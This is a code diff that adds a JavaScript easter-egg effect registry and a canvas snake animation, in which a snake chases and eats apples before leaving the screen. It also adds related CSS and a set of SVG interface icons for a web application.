this.effects[key] = factory;
},
/**
* 创建彩蛋实例
* @param {string} effectName
* @param {object} context
* @returns {object|null}
*/
start(effectName, context = {}) {
const key = (effectName || '').trim().toLowerCase();
const factory = this.effects[key];
if (!factory) {
console.warn('[EasterEggRegistry] 未找到特效:', effectName);
return null;
}
try {
const instance = factory({
...context,
effect: key,
});
if (!instance || typeof instance.destroy !== 'function') {
console.warn('[EasterEggRegistry] 特效未返回 destroy 方法:', effectName);
return null;
}
return instance;
} catch (error) {
console.error('[EasterEggRegistry] 特效初始化失败:', effectName, error);
return null;
}
},
has(effectName) {
const key = (effectName || '').trim().toLowerCase();
return Boolean(this.effects[key]);
},
list() {
return Object.keys(this.effects);
},
};
global.EasterEggRegistry = registry;
})(window);

View File

@ -0,0 +1,13 @@
.easter-egg-overlay .snake-overlay {
position: absolute;
inset: 0;
pointer-events: none;
background: transparent;
}
.easter-egg-overlay canvas.snake-canvas {
display: block;
width: 100%;
height: 100%;
background: transparent;
}

View File

@ -0,0 +1,503 @@
(function registerSnakeEffect(global) {
const registry = global.EasterEggRegistry;
if (!registry) {
console.error('[easter-eggs:snake] 未找到 EasterEggRegistry无法注册特效');
return;
}
registry.register('snake', function createSnakeEffect(context = {}) {
const root = context.root;
if (!root) {
throw new Error('缺少彩蛋根节点');
}
const payload = context.payload || {};
const container = document.createElement('div');
container.className = 'snake-overlay';
const canvas = document.createElement('canvas');
canvas.className = 'snake-canvas';
container.appendChild(canvas);
root.appendChild(container);
const effect = new SnakeEffect(container, canvas, payload, context.app);
return {
destroy(options = {}) {
return effect.stop(options);
}
};
});
class SnakeEffect {
constructor(container, canvas, payload, app) {
this.container = container;
this.canvas = canvas;
this.ctx = canvas.getContext('2d');
this.payload = payload || {};
this.app = app || null;
this.targetApples = Math.max(1, Math.floor(Number(this.payload.apples_target) || 10));
this.initialApples = Math.max(1, Math.floor(Number(this.payload.initial_apples) || 3));
this.apples = [];
this.applesEaten = 0;
this.appleFadeInDuration = 800;
this.appleFadeOutDuration = 1500;
this.finalRun = false;
this.running = true;
this.finished = false;
this.cleanupRequested = false;
this.cleanupResolve = null;
this.cleanupPromise = new Promise((resolve) => {
this.cleanupResolve = resolve;
});
this.appNotified = false;
this.pendingResizeId = null;
this.resize = this.resize.bind(this);
window.addEventListener('resize', this.resize);
this.resize();
this.scheduleResize();
this.snake = new Snake(this);
const spawnTime = typeof performance !== 'undefined' ? performance.now() : Date.now();
for (let i = 0; i < this.initialApples; i++) {
this.apples.push(this.createApple(spawnTime));
}
this.animate = this.animate.bind(this);
this.lastTime = 0;
this.frameInterval = 1000 / 60;
this.rafId = requestAnimationFrame(this.animate);
}
scheduleResize() {
if (this.pendingResizeId) {
cancelAnimationFrame(this.pendingResizeId);
}
this.pendingResizeId = requestAnimationFrame(() => {
this.pendingResizeId = null;
this.resize();
});
}
resize() {
const rect = this.container.getBoundingClientRect();
let width = Math.floor(rect.width);
let height = Math.floor(rect.height);
if (width < 2 || height < 2) {
width = window.innerWidth || document.documentElement.clientWidth || 1;
height = window.innerHeight || document.documentElement.clientHeight || 1;
}
width = Math.max(1, width);
height = Math.max(1, height);
if (this.canvas.width !== width || this.canvas.height !== height) {
this.canvas.width = width;
this.canvas.height = height;
if (this.snake && typeof this.snake.handleResize === 'function') {
this.snake.handleResize(width, height);
}
}
}
createApple(timestamp = null) {
const margin = 60;
const width = this.canvas.width;
const height = this.canvas.height;
const now = timestamp != null
? timestamp
: (typeof performance !== 'undefined' ? performance.now() : Date.now());
return {
x: margin + Math.random() * Math.max(1, width - margin * 2),
y: margin + Math.random() * Math.max(1, height - margin * 2),
opacity: 0,
fadeInStart: now,
fadeOutStart: null
};
}
handleAppleConsumed(index) {
this.applesEaten += 1;
const reachedGoal = this.applesEaten >= this.targetApples;
if (reachedGoal) {
this.apples.splice(index, 1);
this.startFinalRun();
} else if (this.apples[index]) {
const now = typeof performance !== 'undefined' ? performance.now() : Date.now();
this.apples[index] = this.createApple(now);
}
}
startFinalRun(force = false) {
if (this.finalRun) {
return;
}
this.finalRun = true;
this.appleFadeOutStart = typeof performance !== 'undefined' ? performance.now() : Date.now();
this.apples.forEach((apple) => {
apple.fadeOutStart = this.appleFadeOutStart;
});
this.snake.beginFinalRun();
if (force) {
this.applesEaten = Math.max(this.applesEaten, this.targetApples);
}
}
drawApples(timestamp) {
const ctx = this.ctx;
const now = timestamp != null
? timestamp
: (typeof performance !== 'undefined' ? performance.now() : Date.now());
for (let i = this.apples.length - 1; i >= 0; i--) {
const apple = this.apples[i];
if (apple.fadeOutStart) {
const progress = Math.min(1, (now - apple.fadeOutStart) / this.appleFadeOutDuration);
apple.opacity = 1 - progress;
if (apple.opacity <= 0.02) {
this.apples.splice(i, 1);
continue;
}
} else if (apple.fadeInStart) {
const progress = Math.min(1, (now - apple.fadeInStart) / this.appleFadeInDuration);
apple.opacity = progress;
if (apple.opacity >= 0.995) {
apple.fadeInStart = null;
apple.opacity = 1;
}
} else {
apple.opacity = 1;
}
ctx.fillStyle = `hsla(${this.snake.hue}, 70%, 65%, ${apple.opacity})`;
ctx.beginPath();
ctx.arc(apple.x, apple.y, 14, 0, Math.PI * 2);
ctx.fill();
}
}
animate(timestamp) {
if (!this.running) {
return;
}
this.rafId = requestAnimationFrame(this.animate);
const elapsed = timestamp - this.lastTime;
if (elapsed < this.frameInterval) {
return;
}
this.lastTime = timestamp - (elapsed % this.frameInterval);
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.snake.findNearestApple();
this.snake.update();
this.drawApples(timestamp);
this.snake.draw();
if (this.finalRun && this.apples.length === 0 && this.snake.isCompletelyOffscreen(80)) {
this.finish(false, !this.cleanupRequested);
}
}
stop(options = {}) {
const immediate = Boolean(options && options.immediate);
if (immediate) {
this.cleanupRequested = true;
this.finish(true, false);
return null;
}
if (this.finished) {
return this.cleanupPromise;
}
this.cleanupRequested = true;
if (!this.finalRun) {
this.startFinalRun(true);
}
return this.cleanupPromise;
}
finish(immediate = false, notifyCompletion = false) {
if (this.finished) {
return;
}
this.finished = true;
this.running = false;
if (this.rafId) {
cancelAnimationFrame(this.rafId);
this.rafId = null;
}
if (this.pendingResizeId) {
cancelAnimationFrame(this.pendingResizeId);
this.pendingResizeId = null;
}
window.removeEventListener('resize', this.resize);
if (this.container && this.container.parentNode) {
this.container.parentNode.removeChild(this.container);
}
if (this.cleanupResolve) {
this.cleanupResolve();
this.cleanupResolve = null;
}
if (immediate) {
this.apples.length = 0;
}
if (notifyCompletion && !this.cleanupRequested) {
this.notifyAppForCleanup();
}
}
notifyAppForCleanup() {
if (this.appNotified) {
return;
}
this.appNotified = true;
if (this.app && typeof this.app.destroyEasterEggEffect === 'function') {
setTimeout(() => {
try {
this.app.destroyEasterEggEffect(true);
} catch (error) {
console.warn('自动清理贪吃蛇彩蛋失败:', error);
}
}, 0);
}
}
}
class Snake {
constructor(effect) {
this.effect = effect;
this.canvas = effect.canvas;
this.ctx = effect.ctx;
this.radius = 14;
this.targetLength = 28;
this.currentLength = 28;
this.speed = 2;
this.angle = 0;
this.targetAngle = 0;
this.hue = 30;
this.currentTarget = null;
this.targetStartTime = Date.now();
this.targetTimeout = 10000;
this.timedOut = false;
this.finalRunAngle = null;
this.initializeEntryPosition();
}
initializeEntryPosition() {
const width = this.canvas.width;
const height = this.canvas.height;
const margin = 120;
const side = Math.floor(Math.random() * 4);
let startX;
let startY;
switch (side) {
case 0:
startX = -margin;
startY = Math.random() * height;
break;
case 1:
startX = width + margin;
startY = Math.random() * height;
break;
case 2:
startX = Math.random() * width;
startY = -margin;
break;
default:
startX = Math.random() * width;
startY = height + margin;
}
const targetX = width / 2;
const targetY = height / 2;
const entryAngle = Math.atan2(targetY - startY, targetX - startX);
this.angle = entryAngle;
this.targetAngle = entryAngle;
const tailX = startX - Math.cos(entryAngle) * this.targetLength;
const tailY = startY - Math.sin(entryAngle) * this.targetLength;
this.path = [
{ x: startX, y: startY },
{ x: tailX, y: tailY }
];
}
handleResize(width, height) {
this.path.forEach((point) => {
point.x = Math.max(-40, Math.min(width + 40, point.x));
point.y = Math.max(-40, Math.min(height + 40, point.y));
});
}
findNearestApple() {
if (this.effect.finalRun) {
return;
}
const apples = this.effect.apples;
if (!apples.length) {
this.currentTarget = null;
return;
}
const now = Date.now();
if (this.currentTarget && (now - this.targetStartTime) < this.targetTimeout) {
const targetStillExists = apples.includes(this.currentTarget);
if (targetStillExists) {
const dx = this.currentTarget.x - this.path[0].x;
const dy = this.currentTarget.y - this.path[0].y;
this.targetAngle = Math.atan2(dy, dx);
this.timedOut = false;
return;
}
}
let targetApple = null;
let targetDistance = this.timedOut ? -Infinity : Infinity;
apples.forEach((apple) => {
const dx = apple.x - this.path[0].x;
const dy = apple.y - this.path[0].y;
const distance = Math.sqrt(dx * dx + dy * dy);
if (this.timedOut) {
if (distance > targetDistance) {
targetDistance = distance;
targetApple = apple;
}
} else if (distance < targetDistance) {
targetDistance = distance;
targetApple = apple;
}
});
if (targetApple) {
if (this.currentTarget !== targetApple) {
this.currentTarget = targetApple;
this.targetStartTime = now;
this.timedOut = false;
} else if ((now - this.targetStartTime) >= this.targetTimeout) {
this.timedOut = true;
}
const dx = targetApple.x - this.path[0].x;
const dy = targetApple.y - this.path[0].y;
this.targetAngle = Math.atan2(dy, dx);
}
}
beginFinalRun() {
if (this.finalRunAngle == null) {
this.finalRunAngle = this.angle;
}
this.targetAngle = this.finalRunAngle;
this.currentTarget = null;
}
update() {
if (!this.effect.finalRun) {
let angleDiff = this.targetAngle - this.angle;
while (angleDiff > Math.PI) angleDiff -= 2 * Math.PI;
while (angleDiff < -Math.PI) angleDiff += 2 * Math.PI;
const maxTurnRate = 0.03;
this.angle += angleDiff * maxTurnRate;
} else if (this.finalRunAngle != null) {
this.angle = this.finalRunAngle;
}
const head = { ...this.path[0] };
head.x += Math.cos(this.angle) * this.speed;
head.y += Math.sin(this.angle) * this.speed;
if (!this.effect.finalRun) {
const margin = 0;
if (head.x < -margin) head.x = -margin;
if (head.x > this.canvas.width + margin) head.x = this.canvas.width + margin;
if (head.y < -margin) head.y = -margin;
if (head.y > this.canvas.height + margin) head.y = this.canvas.height + margin;
}
this.path.unshift(head);
if (!this.effect.finalRun) {
this.checkApples(head);
}
this.trimPath();
}
checkApples(head) {
const apples = this.effect.apples;
for (let i = 0; i < apples.length; i++) {
const apple = apples[i];
const dx = head.x - apple.x;
const dy = head.y - apple.y;
const distance = Math.sqrt(dx * dx + dy * dy);
if (distance < this.radius + 14) {
this.targetLength += 28 * 3;
this.currentTarget = null;
this.effect.handleAppleConsumed(i);
break;
}
}
}
trimPath() {
let pathLength = 0;
for (let i = 0; i < this.path.length - 1; i++) {
const dx = this.path[i].x - this.path[i + 1].x;
const dy = this.path[i].y - this.path[i + 1].y;
pathLength += Math.sqrt(dx * dx + dy * dy);
}
while (this.path.length > 2 && pathLength > this.targetLength) {
const last = this.path[this.path.length - 1];
const secondLast = this.path[this.path.length - 2];
const dx = secondLast.x - last.x;
const dy = secondLast.y - last.y;
const segmentLength = Math.sqrt(dx * dx + dy * dy);
if (pathLength - segmentLength >= this.targetLength) {
this.path.pop();
pathLength -= segmentLength;
} else {
break;
}
}
this.currentLength = pathLength;
}
draw() {
if (this.path.length < 2) {
return;
}
const ctx = this.ctx;
ctx.strokeStyle = `hsl(${this.hue}, 70%, 65%)`;
ctx.lineWidth = this.radius * 2;
ctx.lineCap = 'round';
ctx.lineJoin = 'round';
ctx.shadowBlur = 20;
ctx.shadowColor = `hsl(${this.hue}, 80%, 55%)`;
ctx.beginPath();
ctx.moveTo(this.path[0].x, this.path[0].y);
for (let i = 1; i < this.path.length; i++) {
ctx.lineTo(this.path[i].x, this.path[i].y);
}
ctx.stroke();
ctx.shadowBlur = 0;
}
isCompletelyOffscreen(margin = 40) {
const width = this.canvas.width;
const height = this.canvas.height;
return this.path.every((point) => {
return (
point.x < -margin ||
point.x > width + margin ||
point.y < -margin ||
point.y > height + margin
);
});
}
}
})(window);

Binary file not shown.

After

Width:  |  Height:  |  Size: 362 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 716 B

View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M15 12H3m14 6H3M21 6H3" />
</svg>

After

Width:  |  Height:  |  Size: 204 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="m12 19-7-7 7-7" />
<path d="M19 12H5" />
</svg>

After

Width:  |  Height:  |  Size: 262 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M10.268 21a2 2 0 0 0 3.464 0m-10.47-5.674A1 1 0 0 0 4 17h16a1 1 0 0 0 .74-1.673C19.41 13.956 18 12.499 18 8A6 6 0 0 0 6 8c0 4.499-1.411 5.956-2.738 7.326"/></svg>

After

Width:  |  Height:  |  Size: 382 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M4 19.5v-15A2.5 2.5 0 0 1 6.5 2H19a1 1 0 0 1 1 1v18a1 1 0 0 1-1 1H6.5a1 1 0 0 1 0-5H20" />
</svg>

After

Width:  |  Height:  |  Size: 310 B

View File

@ -0,0 +1,18 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M12 8V4H8" />
<rect width="16" height="12" x="4" y="8" rx="2" />
<path d="M2 14h2" />
<path d="M20 14h2" />
<path d="M15 13v2" />
<path d="M9 13v2" />
</svg>

After

Width:  |  Height:  |  Size: 380 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="m10.852 14.772l-.383.923m.383-6.467l-.383-.923m2.679 6.467l.382.924m.001-7.391l-.383.923m1.624 1.624l.923-.383m-.923 2.679l.923.383M17.598 6.5A3 3 0 1 0 12 5a3 3 0 0 0-5.63-1.446a3 3 0 0 0-.368 1.571a4 4 0 0 0-2.525 5.771"/><path d="M17.998 5.125a4 4 0 0 1 2.525 5.771"/><path d="M19.505 10.294a4 4 0 0 1-1.5 7.706"/><path d="M4.032 17.483A4 4 0 0 0 11.464 20c.18-.311.892-.311 1.072 0a4 4 0 0 0 7.432-2.516"/><path d="M4.5 10.291A4 4 0 0 0 6 18m.002-12.875a3 3 0 0 0 .4 1.375m2.826 4.352l-.923-.383m.923 2.679l-.923.383"/><circle cx="12" cy="12" r="3"/></svg>

After

Width:  |  Height:  |  Size: 764 B

View File

@ -0,0 +1,20 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M12 18V5" />
<path d="M15 13a4.17 4.17 0 0 1-3-4 4.17 4.17 0 0 1-3 4" />
<path d="M17.598 6.5A3 3 0 1 0 12 5a3 3 0 1 0-5.598 1.5" />
<path d="M17.997 5.125a4 4 0 0 1 2.526 5.77" />
<path d="M18 18a4 4 0 0 0 2-7.464" />
<path d="M19.967 17.483A4 4 0 1 1 12 18a4 4 0 1 1-7.967-.517" />
<path d="M6 18a4 4 0 0 1-2-7.464" />
<path d="M6.003 5.125a4 4 0 0 0-2.526 5.77" />
</svg>

After

Width:  |  Height:  |  Size: 601 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M13.997 4a2 2 0 0 1 1.76 1.05l.486.9A2 2 0 0 0 18.003 7H20a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V9a2 2 0 0 1 2-2h1.997a2 2 0 0 0 1.759-1.048l.489-.904A2 2 0 0 1 10.004 4z" />
<circle cx="12" cy="13" r="3" />
</svg>

After

Width:  |  Height:  |  Size: 437 B

View File

@ -0,0 +1,5 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
<path d="M6 7c0-2 1.6-3.6 3.6-3.6h13c2 0 3.6 1.6 3.6 3.6v10c0 2-1.6 3.6-3.6 3.6h-6.2L12.4 25l0.7-4.4H9.6c-2 0-3.6-1.6-3.6-3.6V7Z" />
<path d="M10.4 11h11.2" />
<path d="M10.4 15h7.2" />
</svg>

After

Width:  |  Height:  |  Size: 360 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M20 6 9 17l-5-5" />
</svg>

After

Width:  |  Height:  |  Size: 239 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect x="5" y="5" width="14" height="14" rx="2" />
</svg>

After

Width:  |  Height:  |  Size: 261 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="m6 9 6 6 6-6" />
</svg>

After

Width:  |  Height:  |  Size: 236 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<circle cx="12" cy="12" r="10" />
<line x1="12" x2="12" y1="8" y2="12" />
<line x1="12" x2="12.01" y1="16" y2="16" />
</svg>

After

Width:  |  Height:  |  Size: 332 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect width="8" height="4" x="8" y="2" rx="1" ry="1" />
<path d="M16 4h2a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2" />
</svg>

After

Width:  |  Height:  |  Size: 354 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<circle cx="12" cy="12" r="9" />
<path d="M12 7v5l3 3" />
</svg>

After

Width:  |  Height:  |  Size: 270 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><rect width="14" height="14" x="8" y="8" rx="2" ry="2"/><path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2"/></svg>

After

Width:  |  Height:  |  Size: 324 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0" />
<circle cx="12" cy="12" r="3" />
</svg>

After

Width:  |  Height:  |  Size: 360 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4m-8 10v-6m-3 3l3 3l3-3"/></svg>

After

Width:  |  Height:  |  Size: 328 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12.5 22H18a2 2 0 0 0 2-2V7l-5-5H6a2 2 0 0 0-2 2v9.5"/><path d="M14 2v4a2 2 0 0 0 2 2h4m-6.622 7.626a1 1 0 1 0-3.004-3.004l-5.01 5.012a2 2 0 0 0-.506.854l-.837 2.87a.5.5 0 0 0 .62.62l2.87-.837a2 2 0 0 0 .854-.506z"/></svg>

After

Width:  |  Height:  |  Size: 426 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z" />
<path d="M14 2v5a1 1 0 0 0 1 1h5" />
</svg>

After

Width:  |  Height:  |  Size: 373 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M4 22V4a1 1 0 0 1 .4-.8A6 6 0 0 1 8 2c3 0 5 2 7.333 2q2 0 3.067-.8A1 1 0 0 1 20 4v10a1 1 0 0 1-.4.8A6 6 0 0 1 16 16c-3 0-5-2-8-2a6 6 0 0 0-4 1.528" />
</svg>

After

Width:  |  Height:  |  Size: 370 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M14 2v6a2 2 0 0 0 .245.96l5.51 10.08A2 2 0 0 1 18 22H6a2 2 0 0 1-1.755-2.96l5.51-10.08A2 2 0 0 0 10 8V2M6.453 15h11.094M8.5 2h7"/></svg>

After

Width:  |  Height:  |  Size: 356 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M20 20a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.9a2 2 0 0 1-1.69-.9L9.6 3.9A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13a2 2 0 0 0 2 2Z" />
</svg>

After

Width:  |  Height:  |  Size: 342 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M9 20H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.69.9l.81 1.2a2 2 0 0 0 1.67.9H20a2 2 0 0 1 2 2v5"/><circle cx="13" cy="12" r="2"/><path d="M18 19c-2.8 0-5-2.2-5-5v8"/><circle cx="20" cy="19" r="2"/></svg>

After

Width:  |  Height:  |  Size: 414 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="m6 14l1.5-2.9A2 2 0 0 1 9.24 10H20a2 2 0 0 1 1.94 2.5l-1.54 6a2 2 0 0 1-1.95 1.5H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.69.9l.81 1.2a2 2 0 0 0 1.67.9H18a2 2 0 0 1 2 2v2"/></svg>

After

Width:  |  Height:  |  Size: 395 B

View File

@ -0,0 +1,13 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M20 20a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.9a2 2 0 0 1-1.69-.9L9.6 3.9A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13a2 2 0 0 0 2 2Z" />
</svg>

After

Width:  |  Height:  |  Size: 342 B

View File

@ -0,0 +1,16 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<line x1="6" x2="6" y1="3" y2="15" />
<circle cx="18" cy="6" r="3" />
<circle cx="6" cy="18" r="3" />
<path d="M18 9a9 9 0 0 1-9 9" />
</svg>

After

Width:  |  Height:  |  Size: 351 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><circle cx="12" cy="18" r="3"/><circle cx="6" cy="6" r="3"/><circle cx="18" cy="6" r="3"/><path d="M18 9v2c0 .6-.4 1-1 1H7c-.6 0-1-.4-1-1V9m6 3v3"/></svg>

After

Width:  |  Height:  |  Size: 349 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<circle cx="12" cy="12" r="10" />
<path d="M12 2a14.5 14.5 0 0 0 0 20 14.5 14.5 0 0 0 0-20" />
<path d="M2 12h20" />
</svg>

After

Width:  |  Height:  |  Size: 331 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M21.42 10.922a1 1 0 0 0-.019-1.838L12.83 5.18a2 2 0 0 0-1.66 0L2.6 9.08a1 1 0 0 0 0 1.832l8.57 3.908a2 2 0 0 0 1.66 0zM22 10v6"/><path d="M6 12.5V16a6 3 0 0 0 12 0v-3.5"/></svg>

After

Width:  |  Height:  |  Size: 381 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="m15 12-9.373 9.373a1 1 0 0 1-3.001-3L12 9" />
<path d="m18 15 4-4" />
<path d="m21.5 11.5-1.914-1.914A2 2 0 0 1 19 8.172v-.344a2 2 0 0 0-.586-1.414l-1.657-1.657A6 6 0 0 0 12.516 3H9l1.243 1.243A6 6 0 0 1 12 8.485V10l2 2h1.172a2 2 0 0 1 1.414.586L18.5 14.5" />
</svg>

After

Width:  |  Height:  |  Size: 483 B

View File

@ -0,0 +1,15 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<circle cx="12" cy="12" r="9" />
<path d="M12 16v-4" />
<path d="M12 8h.01" />
</svg>

After

Width:  |  Height:  |  Size: 293 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M10 8h.01M12 12h.01M14 8h.01M16 12h.01M18 8h.01M6 8h.01M7 16h10m-9-4h.01"/><rect width="20" height="16" x="2" y="4" rx="2"/></svg>

After

Width:  |  Height:  |  Size: 334 B

View File

@ -0,0 +1,14 @@
<svg
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="M18 5a2 2 0 0 1 2 2v8.526a2 2 0 0 0 .212.897l1.068 2.127a1 1 0 0 1-.9 1.45H3.62a1 1 0 0 1-.9-1.45l1.068-2.127A2 2 0 0 0 4 15.526V7a2 2 0 0 1 2-2z" />
<path d="M20.054 15.987H3.946" />
</svg>

After

Width:  |  Height:  |  Size: 405 B

View File

@ -0,0 +1 @@
